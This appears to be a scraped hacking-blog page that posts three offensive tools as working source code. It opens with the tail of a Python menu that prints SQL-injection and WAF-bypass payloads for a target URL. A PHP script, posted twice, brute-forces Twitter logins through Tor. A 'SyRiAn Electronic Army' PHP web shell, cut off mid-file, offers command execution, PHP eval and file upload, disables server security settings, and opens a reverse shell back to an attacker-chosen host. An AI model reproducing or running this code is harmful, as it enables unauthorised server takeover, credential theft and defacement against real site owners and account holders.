print "\nXPATH Injection WAF Bypassed"

time.sleep(.8)

print url + xpwf + "\n"

time.sleep(.6)

print "\n"

xpask = raw_input("Grab Tables ? Y or N :")

time.sleep(.8)

if(xpask =='y' or xpask =='yes' or xpask =='Y' or xpask =='YES' or xpask =='Yes' or xpask =='Ye' or xpask =='ye'):

print "XPATH Injection Getting Tables\n "

time.sleep(.5)

print url + xptwf + "\n\nIncrease The Limit By 0,1 to '1,1' -- '2,1' -- '3,1' For Getting All Other Tables "

elif(askwf =='05'):

print "\nDatabases DIOS WAF Bypassed\n"

time.sleep(.8)

print url + " " + ddwf + " " + unf + "\n\n" + rp

elif(askwf =='06'):

print "\nEscape Character DIOS Bypassed \n"

time.sleep(.8)

print url + " " + escb + " " + "\n\n" + rp

elif(askwf =='07'):

print "\nURL Encoding WAF Bypassed "

time.sleep(.8)

print url + " " + ueb + " " + "\n\n" + rp

elif(askwf =='08'):

print "\nHigh WAF Tables With Columns Bypassed \n"

time.sleep(.8)

print url + " " + hwb + " " + "/*!00000%55niOn*%2f /*!00000%53eLeCT*%2f [No. Of Columns Here With Separate Brackets like this (1),(2),(3)]" + "\n\n" + rp

elif(askwf =='09'):

print "\nDIOS By Dr.Z3r0 WAF Bypassed \n"

time.sleep(.8)

print url + " " + bdzwf + " " + unf + "\n\n" + rp

elif(askwf =='10'):

print "\nDIOS By MadBlood WAF Bypassed \n"

time.sleep(.8)

print url + " " + bmbwf + " " + unf + "\n\n" + rp

elif(askwf =='11'):

print "\n DIOS Without Concat WAF Bypassed \n"

time.sleep(.8)

print url + " " + msdwf + " " + unf + "\n\n" + rp

elif(askwf =='12'):

print "\nTables DIOS Using Benchmark WAF Bypassed \n"

time.sleep(.8)

print url + " " + bktwf + " " + unf + "\n\n" + rp

elif(askwf =='13'):

print "\nDumping Everything In One Shot WAF Bypassed \n"

time.sleep(.8)

print url + " " + decwf + " " + unf + "\n\n" + rp

elif(askwf =='14'):

print "\nDumping Everything In One Shot Without CONCAT WAF Bypassed\n"

time.sleep(.8)

print url + " " + dewcwf + " " + unf + "\n\n" + rp

elif(askwf =='15'):

print "\nUnique WAF Website Bypassed \n "

time.sleep(.8)

print "Query :: \n----------\n" + uniq1

elif(askwf =='16'):

print "\nUnique WAF [Buffer Overflow] Website Bypassed \n"

time.sleep(.8)

print "Query :: \n----------\n" + uniq2

# $wf == $by(length-($g)

# while $wf != $g

# $by = $g

# where $by == $wf

# then print " $by " + " $g " + " wf "

# else die($g + $wf + $by):($b)

else:

time.sleep(.8)

print "You Have Entered An Invalid Code .. "

elif(waf =='N' or waf =='n' or waf =='NO' or waf =='no' or waf =='No'):

print "## :: Simple Non-WAF Queries :: ## \n"

time.sleep(.7)

print "Loading Data .. "

time.sleep(.8)

print "\nCODE :: -- Queries \n"

print "001 -- -- Tables DIOS Simple "

print "002 -- -- Tables With Columns DIOS Simple "

print "003 -- -- Getting Tables With Group_concat Function "

print "004 -- -- TrojAn DIOS Query Simple "

print "005 -- -- XPATH Injection "

print "006 -- -- Databases DIOS "

print "007 -- -- Getting Databases With Group_concat Function"

print "008 -- -- Tables DIOS Using Benchmark() "

print "009 -- -- DIOS By Dr.Z3ro "

print "010 -- -- DIOS By Mad Blood "

print "011 -- -- DIOS Without Concat "

print "012 -- -- TrojAn Benchmark() Query "

print "013 -- -- Dump Everything With Concat "

print "014 -- -- Dump Everything Without Concat "

print "015 -- -- Escape Character Bypass "

print "016 -- -- Getting Version With Error Based Injection"

print "017 -- -- Getting Version With Double Query Injection "

print "\n"

asks = raw_input("What Query Do You Want ? Enter Code : ")

time.sleep(.5)

print "Loading Your Query .."

time.sleep(.5)

if(asks == '001'):

print "\nTables DIOS Simple\n"

time.sleep(.8)

print url + " " + sdt + " " + un + "\n\n" + rp

elif(asks =='002'):

print "\nTables With Columns DIOS Simple\n"

time.sleep(.8)

print url + " " + sdtc + " " + un + "\n\n" + rp

elif(asks =='003'):

print "\nGetting Tables With Group_concat Function\n"

time.sleep(.8)

print url + " " + gct + " " + un + "\n\n" + rp

elif(asks =='004'):

print "\nTrojAn DIOS Query Simple\n"

time.sleep(.8)

print url + " " + mds + " " + un + "\n\n" + rp

elif(asks =='005'):

print "\nXPATH Injection\n"

time.sleep(.8)

print url + xp + "\n"

time.sleep(.6)

xpasks = raw_input("Grab Tables ? Y or N :")

if(xpasks =='y' or xpasks =='yes' or xpasks =='Y' or xpasks =='YES' or xpasks =='Yes' or xpasks =='Ye' or xpasks =='ye'):

print "\nXPATH Injection Getting Tables\n "

time.sleep(.5)

print url + xpt + "\n\nIncrease The Limit By 0,1 to '1,1' -- '2,1' -- '3,1' For Getting All Other Tables "

elif(asks =='006'):

print "\nDatabases DIOS\n"

time.sleep(.8)

print url + " " + dd + " " + un + "\n\n" + rp

elif(asks =='007'):

print "\nGetting Databases With GROUP_CONCAT() Function\n"

time.sleep(.8)

print url + " " + gcd + " " + un + "\n\n" + rp

elif(asks =='008'):

print "\nTables DIOS Using Benchmark() \n"

time.sleep(.8)

print url + " " + bkt + " " + un + "\n\n" + rp

elif(asks =='009'):

print "\nDIOS by Dr.Z3ro\n"

time.sleep(.8)

print url + " " + bdz + " " + un + "\n\n" + rp

elif(asks =='010'):

print "\nDIOS By Mad Blood \n"

time.sleep(.8)

print url + " " + bmb + " " + un + "\n\n" + rp

elif(asks =='011'):

print "\nDIOS Without Concat\n"

time.sleep(.8)

print url + " " + msd + " " + un + "\n\n" + rp

elif(asks =='012'):

print "\nTrojAn Benchmark() Query\n"

time.sleep(.8)

print url + " " + myb + " " + un + "\n\n" + rp

elif(asks =='013'):

print "\nDump Everything With Concat Function\n"

time.sleep(.8)

print url + " " + dec + " " + un + "\n\n" + rp

elif(asks =='014'):

print "\nDump Everything Without Concat Function \n"

time.sleep(.8)

print url + " " + dewc + " " + un + "\n\n" + rp

elif(asks =='015'):

print "\n Escape Character Bypass \n"

time.sleep(.8)

print url + " " + escb + "\n\n" + rp

elif(asks =='016'):

print "\nGetting Version With Error Based Injection\n"

time.sleep(.8)

print url + err + "\n\n"

elif(asks =='017'):

print "\nGetting Version With Double Query Injection\n"

time.sleep(.8)

print url + dq + "\n\n"

# $nb == $qr(length-($s))

# while $nb != $qr

# then $nb == $s

# else $qr != $s

# split $length-($s + $nb + $qr )

else:

time.sleep(.8)

print "You Have Entered An Invalid Code "

else:

print "You Have Entered An Incorrect Data"

time.sleep(2)

print "\n\n\nClosing All Functions.."

time.sleep(1)

print "Exiting.."

time.sleep(3.5)

Read Article →

Twitter Brute Force (Anti-Ban).

August 30, 2014

pak-tani

Brute Force, Code Scripting, Cryptography

Twitter Brute Force (Anti-Ban).

<?php
    ob_start();
    @set_time_limit(0);
	
   #  ___________       .__  __    __                
    #  \__    ___/_  _  _|__|/  |__/  |_  ___________ 
    #    |    |  \ \/ \/ /  \   __\   __\/ __ \_  __ \
    #    |    |   \     /|  ||  |  |  | \  ___/|  | \/
    #    |____|    \/\_/ |__||__|  |__|  \___  >__|   
    #                                        \/       
     
    echo "
    <head>
    <link rel='icon' type='image/ico' href='https://twitter.com/favicon.ico'/>
    <form method='POST'>
    <title>Twitter Bruteforce (No Ban Version)</title>
    </head>
    <style>
    textarea {
            resize:none;
            color: #1975FF ;
            border:1px solid #1975FF ;
            border-left: 4px solid #1975FF ;
    }
    input {
            color: ##33CCFF;
            border:1px dotted #33CCFF;
    }
    </style>";
     
    echo "
    <body text='#FFFFFF' background='http://i.imgur.com/8CWed2G.png'>
    <center><img src='http://i.imgur.com/BAoCL9X.png'></center>
    <center>Use TOR BROWSER and set up TOR SWITCHER on 2 interval seconds</center>
    <p dir='ltr' align='center'>
    <textarea cols='22' class='area'  rows='14' name='username'></textarea>
    <textarea cols='22' class='area'  rows='14' name='password'></textarea><br>
    <br>
    <input type='submit' name='scan' value='Start BruteForce'><br></p>";
    if(isset($_POST['scan'])){
    #To Put Proxy SOCKS V5
    //curl_setopt($ch, CURLOPT_PROXY, "proxy:port");          
    //curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
    function brute($user,$pass){
            $ch = curl_init();      
            curl_setopt($ch, CURLOPT_URL, "https://twitter.com/login");
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            curl_setopt($ch, CURLOPT_POSTFIELDS, "email={$user}&pass={$pass}");
            curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/36.0.1985.125");
            $login = curl_exec($ch);
            //print_r($login);
            $check = (eregi('class="s t i u"',$login)) ? true:false;
            if($check == true){
                    echo "<p align='center' dir='ltr'><font face='Arial Black' size='2'>Not the right one :(  || Username : <font color='red'>$user</font>&nbsp;  Password : <font color='red'>$pass</font></font></p>";
            }else{
                    echo "<p align='center' dir='ltr'><font face='Arial Black' size='2'>This Password Seems Working !Try It ^_^ || Username: <font color='green'>$user</font>&nbsp; Password : <font color='green'>$pass</font></font></p>";
            }
    }            
     
     
     
           
            $username = explode("\n", $_POST['username']);
            $password = explode("\n", $_POST['password']);
           
           
    foreach($username as $users) {
            $users = @trim($users);
            foreach($password as $pass) {
                    $pass = @trim($pass);
                    echo brute($users,$pass);
            }
     
    }
     
    }
    echo"<br><center><p><b><font size='2' face='Trebuchet MS' color='#FFFFFF'>Contact me : https://www.facebook.com/x0exploite</font></b></p></center>";
?>

<?php

ob_start();

@set_time_limit(0);

# ___________ .__ __ __

# \__ ___/_ _ _|__|/ |__/ |_ ___________

# | | \ \/ \/ / \ __\ __\/ __ \_ __ \

# | | \ /| || | | | \ ___/| | \/

# |____| \/\_/ |__||__| |__| \___ >__|

# \/

echo "

<head>

<title>Twitter Bruteforce (No Ban Version)</title>

</head>

<style>

textarea {

resize:none;

color: #1975FF ;

border:1px solid #1975FF ;

border-left: 4px solid #1975FF ;

}

input {

color: ##33CCFF;

border:1px dotted #33CCFF;

}

</style>";

echo "

<center>Use TOR BROWSER and set up TOR SWITCHER on 2 interval seconds</center>

<br>

<input type='submit' name='scan' value='Start BruteForce'><br></p>";

if(isset($_POST['scan'])){

#To Put Proxy SOCKS V5

//curl_setopt($ch, CURLOPT_PROXY, "proxy:port");

//curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);

function brute($user,$pass){

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "https://twitter.com/login");

curl_setopt($ch, CURLOPT_HEADER, 0);

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);

curl_setopt($ch, CURLOPT_POSTFIELDS, "email={$user}&pass={$pass}");

curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/36.0.1985.125");

$login = curl_exec($ch);

//print_r($login);

$check = (eregi('class="s t i u"',$login)) ? true:false;

if($check == true){

echo "<p align='center' dir='ltr'><font face='Arial Black' size='2'>Not the right one :( || Username : <font color='red'>$user</font>  Password : <font color='red'>$pass</font></font></p>";

}else{

echo "<p align='center' dir='ltr'><font face='Arial Black' size='2'>This Password Seems Working !Try It ^_^ || Username: <font color='green'>$user</font>  Password : <font color='green'>$pass</font></font></p>";

}

$username = explode("\n", $_POST['username']);

$password = explode("\n", $_POST['password']);

foreach($username as $users) {

$users = @trim($users);

foreach($password as $pass) {

$pass = @trim($pass);

echo brute($users,$pass);

}

echo"<br><center><p><b><font size='2' face='Trebuchet MS' color='#FFFFFF'>Contact me : https://www.facebook.com/x0exploite</font></b></p></center>";

Read Article →

[PHP-SHELL_SCRIPT] SyRiAn Electronic Army Shell :: SEA Shell.

August 25, 2014

pak-tani

Code Scripting, Exploits

[PHP-SHELL_SCRIPT] SyRiAn Electronic Army Shell.

<?php
# Bypass SuHosin
# Virtual
# users 6 ID /etc/passwd

$user = 'mhu'; 
$pass = 'mhu'; 
$uselogin = 1;
$sh3llColor = "green";

# MySQL Info ---------
$DBhost = "localhost";
$DBuser = "root";
$DBpass = "root";
#---------------------
session_start();
error_reporting(0);
set_magic_quotes_runtime(0);
set_time_limit(0);
ignore_user_abort(TRUE);
ini_restore("safe_mode");
ini_restore("open_basedir");
ini_set('max_execution_time',0);
ini_set('output_buffering',0);
ini_set('safe_mode','Off');

// Set Current Directory
if(!$_POST && !$_SESSION['curDir']) {
	$dir = getcwd();
	$_SESSION['curDir'] = $dir;
} else if(empty($_POST['curDir'])) {
	$dir = $_SESSION['curDir'];
} else {
	$dir = filter($_POST['curDir']);
	$_SESSION['curDir'] = $dir;
}
// Set Dir Mode
if($_GET['dir_mode']) {
	$dir_mode = $_GET['dir_mode'];
	$_SESSION['dir_mode'] = $dir_mode;
} else { 
	$dir_mode = $_SESSION['dir_mode'];
}

// Set Usable Command
if($_POST['exe_method']) {
	$exec_method = $_POST['exe_method'];
} else {
	$exec_method = "exec";
}
# Logout 
if($_POST['logout']) {
	print '<script>document.cookie="user=;";document.cookie="pass=;";</script>';
	print '<script>document.location = "'.$_SERVER['PHP_SELF'].'";</script>';
}
if(strlen($dir)>1 && $dir[1]==":"){$os = "Windows";}else {$os = "Linux";}
if($_GET['info']){phpinfo();}
$safeMode = SafeMode();
$server = substr($SERVER_SOFTWARE,0,120);
$daemon = "";
?>
<html>
<head>
<title>SyRiAn Electronic Army Shell :: SEA Shell</title>
<link rel="shortcut icon" href='http://i40.tinypic.com/2rpuped.png' />
<meta http-equiv=Content-Type content=text/html; charset=UTF-8>
<?php echo CSS($sh3llColor); ?>

</head>
<body dir='ltr'>
<?php
# ---------------------------------------#
#             Authentication             #
#----------------------------------------#
if ($uselogin ==1) {
	if($_COOKIE["user"] != $user or $_COOKIE["pass"] != md5($pass)) {
		if($_GET) {$user = $_GET['user'];$pass = $_GET['pass'];}
		if($_POST['usrname']==$user && $_POST['passwrd']==$pass){
			print'<script>document.cookie="user='.$_POST['usrname'].';";document.cookie="pass='.md5($_POST['passwrd']).';";</script>';
		} else {
			if($_POST['usrname']){
				print'<script>alert("Go and play in the street man !!");</script>';
			}
?>
<br><br>
			<center><img src="http://i40.tinypic.com/2rpuped.png"><br />
			<sy>SyRiAn Electronic Army</sy>
			</center><br />
			<div align="center">
				<form method="POST" name="login_form" onSubmit="if(this.usrname.value==''){return false;}">
				<input dir="ltr" name="usrname" id="username" value="" type="text"  size="30" onBlur="Blur('username','userName');" onClick="Clear('username','userName');"/><br>
				<input dir="ltr" name="passwrd" id="password" value="" type="password" size="30" onFocus="Focus(2);" /><br>
				<input type="submit" value=" Login  " name="login" />
				</form>
			</div>
            <?php
			footer();
			exit;
		}
	}
}
?>
<table cellpadding='0' cellspacing='0' width='100%'>
	<tr>
    	<td width='160'>
    	<center><form method="post"><input type="submit" value="Logout" name="logout" id="logout" /></form></center>
			<a href="<?php echo $_SERVER['PHP_SELF']; ?>"><img border='0' src='http://i40.tinypic.com/2rpuped.png' width='100%' height='100%'></a><br>
			<center>SyRiAn Electronic Army
			<p></p>
				<select name="dir_mode" id="dir_mode" onchange="change_dir_mode();">
					<option value="cmd" <?php if($dir_mode == "cmd") {echo "selected";} ?> >CMD</option>
					<option value="php" <?php if($dir_mode == "php") {echo "selected";} ?>>PHP</option>
				</select>
			</center>
      </td>
	  <td>
      <form method="post">
<table width='100%' style="border:none; padding:2px;" >
    <tr>
    	<td width='103'>System</td>
    	<td width="323"><?php echo $os; ?></td>
    	<td width="90">Apache Modules</td>
    	<td width="278"><select ><?php 
    	if(function_exists("apache_get_modules")) {
			foreach (apache_get_modules() as $module) {
				echo "<option>".$module."</option>";
			}
    	}else {
    		echo "<option>NONE</option>";
    	}
    	?></select></td>
    </tr>
    <tr>
      <td>uname </td>
      <td><a href='http://www.google.com/search?q=<?php echo php_uname(); ?>' target='_blank'><u><?php echo php_uname(); ?></u></a></td>
      <td>Curl</td>
      <td><?php echo Curl(); ?></td>
    </tr>
    <tr>
        <td>pwd</td>
        <td><?php echo getcwd(); ?></td>
        <td>Open Basedir</td>
        <td><?php echo openBaseDir(); ?></td>
    </tr>
    <tr>
        <td>whoami</td>
        <td><?php echo get_current_user(); ?></td>
        <td>Magic_Quotes</td>
        <td><?php echo magicQouts(); ?></td>
    </tr>
        <tr>
          <td>Server</td>
          <td><?php echo $server; ?></td>
          <td>Register Globals</td>
          <td><?php echo RegisterGlobals(); ?></td>
        </tr>
        <tr>
          <td>Server Name</td>
          <td><?php echo $_SERVER['HTTP_HOST']; ?></td>
          <td>Gzip</td>
          <td><?php echo Gzip(); ?></td>
        </tr>
        <tr>
          <td>Your IP</td>
          <td><?php echo GetRealIP(); ?></td>
          <td>Oracle</td>
          <td><?php echo Oracle(); ?></td>
        </tr>
        <tr>
          <td>Server IP</td>
          <td><a href='http://bing.com/search?q=ip:<?php echo gethostbyname($_SERVER["HTTP_HOST"]); ?>&go=&form=QBLH&filt=all' target='_blank'><u><?php echo gethostbyname($_SERVER["HTTP_HOST"]); ?></u></a> [<a href="http://whois.webhosting.info/<?php echo gethostbyname($_SERVER["HTTP_HOST"]); ?>" target='_blank' />Reverse IP]</td>
          <td>MSQL</td>
          <td><?php echo MSQL(); ?></td>
        </tr>
        <tr>
          <td>PHP Version</td>
          <td><a href='javascript:openPHPInfo();'><u><?php echo phpversion(); ?></u></a></td>
          <td>MySQL</td>
          <td><?php echo MySQL2()." ".mysql_get_server_info(); ?></td>
        </tr>
        <tr>
          <td>Safe Mode</td>
          <td><?php echo $safeMode; ?></td>
          <td>MySQLi</td>
          <td><?php echo MysqlI(); ?></td>
        </tr>
        <tr>
        <td>disable functions</td>
        <td><select name="disableFunctions"><?php
		$funArray = DisableFunctions();
		$funArray = explode(",",$funArray);
		sort($funArray);
		foreach($funArray as $fun){echo "<option value='".$fun."'>".$fun."</option>";}
		?></select>
          <input name="STOP_Execute" type="submit" id="STOP_Execute" value="Turn Off" />
          </td>
        <td>MsSQL</td>
        <td><?php echo MsSQL(); ?></td>
        </tr>
</table>
&nbsp;   [<a href='http://www.md5decrypter.co.uk/' target='_blank'>MD5 Cracker</a>]
[<a href='http://www.md5decrypter.co.uk/sha1-decrypt.aspx' target='_blank'>SHA1 Cracker</a>]
[<a href='http://www.md5decrypter.co.uk/ntlm-decrypt.aspx' target='_blank'>NTLM Cracker</a>]
<input name="USERS_1" type="submit" id="USERS_1" value="Users [1]" />
<input name="USERS_2" type="submit" id="USERS_2" value="Users [2]" />
<input name="USERS_3" type="submit" id="USERS_3" value="Users [3]" />
<input name="USERS_4" type="submit" id="USERS_4" value="Users [4]" />
<input name="USERS_5" type="submit" id="USERS_5" value="Users [5]" />
<input type="submit" name="forbidden_bypass" id="forbidden_bypass" value="Forbidden" />
<input type="submit" name="find_755" id="find_755" value="Find 755" />
<br>
</form>
</table>

<form method="post">
<center>
<textarea cols="150" rows="20" name="result" >
<?php 
chdir($dir);
if($_POST['login'] || !$_POST){echo ScanDirs();}
else if($_POST['CMD_Execute']){if(empty($_POST['CMD_Line'])){echo scanDirs();}else {Exe(urldecode(filter($_POST['CMD_Line']))); }}
else if($_POST['PHP_Execute']){$eval = Evaluation(urldecode(filter($_POST['PHP_Line'])));}
else if($_POST['UPLOAD_Execute']) {
	for ($i = 0; $i < count($_FILES['uploadfile']['name']); $i++) {
		if($_FILES['uploadfile']['name'][$i] != '') {
			if(function_exists('copy')){$upload = copy($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);}
			else{$upload = move_uploaded_file($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);}
			if($upload) {echo "The File  ".$_FILES['uploadfile']['name'][$i]." Uploaded Successfully !
";	}
			else { echo "The File  ".$_FILES['uploadfile']['name'][$i]."  Can't Be Upload :( !
";}
		}
	}		
}
else if($_POST['EDIT_Execute']){$content = htmlspecialchars(file_get_contents(filter($_POST['Edit_Line'])));echo $content;}
else if($_POST['SAVE_Execute']) {
	$content = filter($_POST['result']);
	if(empty($content)){$content = " ";}
	if(GenerateFile($_POST['FILE_NAME'],$content)){echo "[+]Saved Success !! ";}else{echo "[-]Save Failed !";}
}
else if($_POST['READ_Execute']) {
	$path = urldecode(filter($_POST['READ_Line']));
	$file = fopen($path,'r+');
	if($_POST['READ_Type'] == "file"){echo htmlspecialchars(filter(FileF($path)));	}
	else if($_POST['READ_Type'] == "fgets"){while(($line = htmlspecialchars(filter(fgets($file)))) != false){echo $line;}}
	else if($_POST['READ_Type'] == "fgetss"){while(($line = htmlspecialchars(filter(fgetss($file)))) != false){echo $line;}}
	else if($_POST['READ_Type'] == "readfile"){echo htmlspecialchars(filter(readfile($path)));}
	else if($_POST['READ_Type'] == "fread"){echo htmlspecialchars(filter(fread($file,filesize($path))));}
	else if($_POST['READ_Type'] == "file_get_contents"){echo htmlspecialchars(filter(file_get_contents($path)));}
	else if($_POST['READ_Type'] == "tempnam"){echo htmlspecialchars(filter(TempnameF($path)));}
	else if($_POST['READ_Type'] == "copy"){echo htmlspecialchars(filter(CopyF($path)));}
	else if($_POST['READ_Type'] == "mb_send_mail"){echo htmlspecialchars(filter(mbSendEmail($path)));}
	else if($_POST['READ_Type'] == "highlight_file"){echo htmlspecialchars(filter(highlightFile($path)));}
	else if($_POST['READ_Type'] == "curl"){echo htmlspecialchars(filter(CurlFileRead($path)));}
	else if($_POST['READ_Type'] == "imap"){echo htmlspecialchars(filter(ImapF($path)));}
	else if($_POST['READ_Type'] == "id"){echo htmlspecialchars(filter(ReadId($path)));}
	else if($_POST['READ_Type'] == "show_source"){echo htmlspecialchars(filter(show_source($path)));}
	else if($_POST['READ_Type'] == "mysql"){echo htmlspecialchars(filter(MySQLReader($path)));}
	else if($_POST['READ_Type'] == "mysqli"){echo htmlspecialchars(filter(MySQLIReader($path)));}
	else if($_POST['READ_Type'] == "symlink"){echo htmlspecialchars(filter(SymlinkF($path)));}
	else if($_POST['READ_Type'] == "ioncube"){echo htmlspecialchars(filter(ioncube_read_file($path)));}
	else if($_POST['READ_Type'] == "error_log"){echo htmlspecialchars(filter(ErrorLog($path)));}
	else if($_POST['READ_Type'] == "include"){echo htmlspecialchars(filter(IncludeReader($path)));}
}
else if($_POST['STOP_Execute']) {
$genTry = GenerateFile("php.ini","
safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF");
	if($genTry){echo "[+] php.ini Has Been Generated Successfully 
";}
	else {echo "[-] Failed to generate php.ini file !! 
";}
	
	$genTry = GenerateFile(".htaccess","
<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckCookieFormat Off
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies Off
</IfModule>
<Limit GET POST>
order deny,allow
deny from all
allow from all
</Limit>
<Limit PUT DELETE>
order deny,allow
deny from all
</Limit>
SetEnv PHPRC ".getcwd()."/php.ini
	");
	if($genTry){echo "[+] .htaccess Has Been Generated Successfully 
";}
	else {echo "[-] Failed to generate .htaccess file !! 
";}
}
else if($_POST['CON_Type'] == "socks") {
	$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
	if($sock < 0){echo "[-] failed to create socket.";}
	else {
		$result = socket_connect($sock, filter(trim($_POST['ip'])), filter(trim($_POST['port'])));
		if($result < 0){echo "[-] failed to connect back to host:".$_GET['host'];}
		else {
			$send_var = "\n\n -== SyRiAn Electronic Army , Back Connection ==-\n$";
			socket_write($sock, $send_var, strlen($send_var));
			while($input = socket_read($sock, 10000)) {
				socket_write($sock, shell_exec($input), 12000);
			}
		}
	}
} else if($_POST['CON_Type'] == "fsockopen") {
	$ip = filter(trim($_POST['ip']));
	$port = filter(trim($_POST['port']));
	if (!empty($ip)) { 
		$con_fsockopen = fsockopen($ip , $port , $errno, $errstr ); 
		if (!$con_fsockopen){ 
			$result = "Error: didnt connect !!!"; 
		} else { 
			$newLine="\n";           
			fputs ($con_fsockopen ,"\n\n -== SyRiAn Electronic Army , Back Connection ==-\n$");
			fputs($con_fsockopen , system("uname -a") .$newLine );
			fputs($con_fsockopen , system("pwd") .$newLine );
			fputs($con_fsockopen , system("id") .$newLine.$newLine );
			while(!feof($con_fsockopen)){  
				fputs ($con_fsockopen); 
				$one="[$";
				$two="]";
				$result= fgets ($con_fsockopen, 8192); 
				$message = $result; 
				fputs ($con_fsockopen, $one. system("whoami") .$two. " " .$message."\n"); 
			} 
			fclose ($con_fsockopen); 
		}
	}
}
else if($_POST['USERS_1']){echo GetUsers1();}
else if($_POST['USERS_2']) {
	 $array = GetUsers2();
	 foreach($array as $line)
	 {echo $line."
";}	
}
else if($_POST['USERS_3']) {
	 $array = GetUsers3();
	 foreach($array as $line)
	 {echo $line."
";}	
}
else if($_POST['USERS_4']) {
	 $array = GetUsers4();
	 foreach($array as $line)
	 {echo $line."
";}	
} else if($_POST['USERS_5']){echo GetUsers5();}
else if($_POST['forbidden_bypass']) {
	mkdir("forbidden");
	chdir("forbidden");
	$forbidden_htaccess = GenerateFile(".htaccess", "
DirectoryIndex sea.txt
HeaderName sea.txt
ReadmeName sea.txt
footerName sea.txt
ErrorDocument 404 /404.html 
404.html = Symlinked sea.txt
Options all
ForceType text/plain
AddType text/plain .php 
AddType text/plain .html
AddHandler server-parsed .php
AddHandler txt .php
	");
	if($forbidden_htaccess) {
		echo "[+] make your symlink as sea.txt in /forbidden/ folder and find the url /forbidden/sea.txt or /forbidden/";
	} else {
		echo "[-] error with generating .htaccess file.";
	}
} else if($_POST['find_755']) {
	Exe("ls -dl /home/*/public_html/ | grep drwxr-xr-x");
}
?></textarea>
<?php
if($_POST['EDIT_Execute']){echo "<input type='submit' value='Save' name='SAVE_Execute' class='Save' />
<input type='hidden' name='FILE_NAME' value='".$_POST['Edit_Line']."' />
";}
?>
</center></form>
<table width='100%'>
	<tr valign="top">
		<td width='30%'>
       <!-- Command Line -->
       <form method='POST' enctype="multipart/form-data">
	        <table height='72' border='0' id='Box' width="100%">
	       	  <tr>
	   		  <td width="4%" height="21" style="background-color:<?php echo $sh3llColor; ?>">&nbsp;</td>
	        		<td style="background-color:#666;padding-left:10px;">Edit File
	       		    <input name="EDIT_Execute" type="submit" id="EDIT_Execute" value="Edit" /></td>
	          </tr>
	            <tr>
	       		  <td height="45" colspan="2"><input type='text' name='Edit_Line' id='Edit_Line' value='<?php if($_POST['EDIT_Execute']){echo filter($_POST['Edit_Line']);}else {echo $dir;} ?>' size="70"></td>
	            </tr>
	        </table>
        </form>
        <!-- End Of Command Line-->
        
		</td>
        <td width='30%' height='30'>
         <!-- Command Line -->
         <form method='POST' enctype="multipart/form-data">
	       	  <table height='72' border='0' id='Box'>
	       	  <tr>
	   		  <td width="4%" height="21" style="background-color:<?php echo $sh3llColor; ?>">&nbsp;</td>
        		<td style="background-color:#666;padding-left:10px;">Command Line
        		<?php echo print_exe_method(); ?> 
   		    	<input name="CMD_Execute" type="submit" id="CMD_Execute" value="Execute" onClick="document.getElementById('CMD_Line').value = encodeURIComponent(document.getElementById('CMD_Line').value);">
	   		    </td>
          	</tr>
	            <tr>
	       		  <td height="45" colspan="2">
					<?php echo SelectCommand($os); ?> 
	                <input type='text' name='CMD_Line' id='CMD_Line' value='' size="70">
	              <input name="curDir" type="text" id="curDir" value="<?php if($_POST['Execute']){echo $_POST['curDir'];} else {echo getcwd();} ?>" size="70"></td>
	            </tr>
	        </table>
        </form>
        <!-- End Of Command Line-->
      </td>
        <td width='30%' height='30' valign="top">
        <!-- Commands Alias-->
        <form method='POST' enctype="multipart/form-data">
	        <table width='100%' height='72' border='0' id='Box'>
	       	  <tr>
	   		  <td width="4%" height="21" style="background-color:<?php echo $sh3llColor; ?>">&nbsp;</td>
	        		<td style="background-color:#666;padding-left:10px;">Upload Files      		  <span style="padding-left:10px;">
	        		  <input type='button' value='+' id='addUpload' size='5' onclick='addUploadInput();'>
	       		    <input name='UPLOAD_Execute' type='submit' id="UPLOAD_Execute" value='Upload Files'>
	        		</span></td>
	          </tr>
	            <tr>
	       		  <td height="45" colspan="2">
	              <input type='file' name='uploadfile[]'>
	   		      <input type='file' name='uploadfile[]'><div id='uploadInput'></div></td>
	            </tr>
	        </table>
        </form>
        <!-- End Of Commands Alias-->
		</td>
	</tr>
<tr valign="top">
		<td width='30%'>
       <!-- Commands Alias-->
       <form method='POST' enctype="multipart/form-data">
	        <table width='100%' height='72' border='0' id='Box'>
	       	  <tr>
	   		  <td width="4%" height="21" style="background-color:<?php echo $sh3llColor; ?>">&nbsp;</td>
	        		<td style="background-color:#666;padding-left:10px;">PHP Eval       		  
	       		    <input name="PHP_Execute" type="submit" id="PHP_Execute" onClick="document.getElementById('PHP_Line').value = encodeURIComponent(document.getElementById('PHP_Line').value);" value="Evaluate"></td>
	          </tr>
	            <tr>
	       		  <td height="45" colspan="2"><label for="PHP_Line"></label>
	   		      <textarea name="PHP_Line" id="PHP_Line" cols="50" rows="2"><?php if($_POST['PHP_Execute']){echo urldecode(filter($_POST['PHP_Line']));}else {echo '$file = fopen("index.php","w+");
	fwrite($file,"Hacked");
	fclose($file);';}
				?>
	              </textarea>
	   		      <br></td>
	          </tr>
	        </table>
        </form>
        <!-- End Of Commands Alias-->
		</td>
        <td width='30%' height='30'>
        <!-- Commands Alias-->
        <form method='POST' enctype="multipart/form-data">
        <table width='100%' height='72' border='0' id='Box'>
       	  <tr>
   		  <td width="4%" height="21" style="background-color:<?php echo $sh3llColor; ?>">&nbsp;</td>
        		<td style="background-color:#666;padding-left:10px;">Read Files
       		      
       		      <select name="READ_Type" >
       		        <option value="file" >file</option>
       		        <option value="fgets" >fgets</option>
       		        <option value="fgetss" >fgetss</option>
